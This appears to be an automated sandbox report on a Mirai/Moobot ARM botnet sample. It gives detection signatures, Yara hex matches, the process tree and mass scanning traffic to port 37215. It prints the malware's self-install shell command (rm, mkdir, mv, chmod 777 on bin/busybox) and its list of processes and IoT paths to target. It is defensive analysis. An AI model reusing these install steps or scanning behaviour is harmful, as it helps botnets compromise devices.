Edit tour

Linux Analysis Report
bot.arm7-20240324-1846.elf

Overview

General Information

Sample name:	bot.arm7-20240324-1846.elf
Analysis ID:	1414762
MD5:	ccdf82263d66e2e6d2a06467d4d1ef7f
SHA1:	9bcda368d6e53dff8adc2c35648881d6948b33df
SHA256:	a032864f9d2a4554884f5f84b3ef1ff5bf44b71c290be32d7c2fcf844d74c0b9
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Moobot

Connects to many ports of the same IP (likely port scanning)

Contains symbols with names commonly found in malware

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample tries to kill a process (SIGKILL)

Sets full permissions to files and/or directories

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1414762
Start date and time:	2024-03-24 19:50:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	bot.arm7-20240324-1846.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/1025@9/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/bot.arm7-20240324-1846.elf
PID:	6258
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:	chmod: cannot access 'bin/busybox'$'\244\002': No such file or directory

Process Tree

system is lnxubuntu20

bot.arm7-20240324-1846.elf (PID: 6258, Parent: 6181, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/bot.arm7-20240324-1846.elf

bot.arm7-20240324-1846.elf New Fork (PID: 6260, Parent: 6258)

sh (PID: 6260, Parent: 6258, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/bot.arm7-20240324-1846.elf bin/busybox; chmod 777 bin/busybox\\xa4"

sh New Fork (PID: 6262, Parent: 6260)

rm (PID: 6262, Parent: 6260, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/busybox

sh New Fork (PID: 6263, Parent: 6260)

mkdir (PID: 6263, Parent: 6260, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 6264, Parent: 6260)

mv (PID: 6264, Parent: 6260, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/bot.arm7-20240324-1846.elf bin/busybox

sh New Fork (PID: 6265, Parent: 6260)

chmod (PID: 6265, Parent: 6260, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/busybox\\xa4

bot.arm7-20240324-1846.elf New Fork (PID: 6266, Parent: 6258)

bot.arm7-20240324-1846.elf New Fork (PID: 6268, Parent: 6266)

bot.arm7-20240324-1846.elf New Fork (PID: 6269, Parent: 6266)

xfce4-session New Fork (PID: 6289, Parent: 1900)

xfdesktop (PID: 6289, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

xfce4-session New Fork (PID: 6290, Parent: 1900)

xfdesktop (PID: 6290, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

xfce4-session New Fork (PID: 6291, Parent: 1900)

xfdesktop (PID: 6291, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

xfce4-session New Fork (PID: 6294, Parent: 1900)

xfdesktop (PID: 6294, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

xfce4-session New Fork (PID: 6299, Parent: 1900)

xfdesktop (PID: 6299, Parent: 1900, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 29178b886-02e2-48f2-9471-8dbd02206542

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
bot.arm7-20240324-1846.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
bot.arm7-20240324-1846.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
bot.arm7-20240324-1846.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
bot.arm7-20240324-1846.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x144c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14500:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14514:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14528:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1453c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14550:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14564:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14578:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1458c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14604:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14618:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1462c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14640:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14654:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6258.1.00007f9d88017000.00007f9d8802e000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6258.1.00007f9d88017000.00007f9d8802e000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
6258.1.00007f9d88017000.00007f9d8802e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6258.1.00007f9d88017000.00007f9d8802e000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x144c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x144ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14500:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14514:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14528:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1453c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14550:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14564:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14578:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1458c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x145f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14604:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14618:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1462c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14640:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x14654:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: bot.arm7-20240324-1846.elf PID: 6258	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: bot.arm7-20240324-1846.elf PID: 6258	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: bot.arm7-20240324-1846.elf PID: 6258	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11ff7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1200b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1201f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12033:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12047:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1205b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1206f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12083:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12097:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x120ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x120bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x120d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x120e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x120fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1210f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12123:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12137:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1214b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1215f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12173:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12187:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

String: Content-Length: /proc/proc/%d/cmdlinepgrepwgetcurlpspkillkillallftptftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetssh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/hrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 103.172.79.74 ports 43957,3,4,5,7,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35482
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 39440
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 39410

Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 178.148.201.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.40.220.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.112.96.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.48.114.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 13.249.1.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 131.163.224.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 72.37.108.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.150.240.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.125.36.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.43.186.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.218.43.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.207.113.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.82.23.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.163.82.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 86.153.27.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.122.232.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.9.90.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.33.53.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.138.50.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.250.61.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.85.27.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.158.41.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.27.17.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.57.191.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.155.243.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 178.180.217.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.239.83.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.191.204.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 200.178.36.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.57.213.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 79.80.95.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.106.250.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.0.177.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.179.109.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.250.108.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.90.180.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.211.236.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.64.57.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.206.87.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.171.10.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.194.122.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.216.136.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.163.22.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.164.223.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.7.217.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.79.130.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.118.201.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.148.71.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 126.123.161.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.95.103.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.168.143.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 37.137.179.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.74.49.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 153.28.69.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.106.81.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.125.194.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.129.36.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 163.63.127.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.214.60.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.248.223.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.31.170.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.240.204.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.83.66.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.227.234.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.49.237.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.189.219.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.31.214.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.122.57.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.51.150.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 70.71.72.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.118.83.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.66.48.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.227.62.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 182.45.184.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.57.31.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.237.157.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.192.177.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 123.212.7.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 70.162.124.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.59.163.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.31.133.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.190.141.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.129.186.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.92.169.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.237.209.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.132.228.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.15.199.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.222.249.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.127.41.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 60.48.48.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 39.160.34.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 176.133.225.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 118.60.32.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.51.111.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 158.11.61.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.229.150.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.79.56.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.130.129.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.93.63.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 94.164.164.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 194.22.248.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.190.146.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.146.69.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.163.226.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.168.213.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.99.251.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.111.134.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.137.27.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.69.34.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.57.93.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.113.205.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.161.158.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 124.22.140.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.118.234.114:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 8.177.182.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.67.102.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.217.35.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.105.57.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 71.132.231.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.126.187.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 142.181.45.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.102.73.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.124.210.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 24.251.79.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.193.80.6:37215
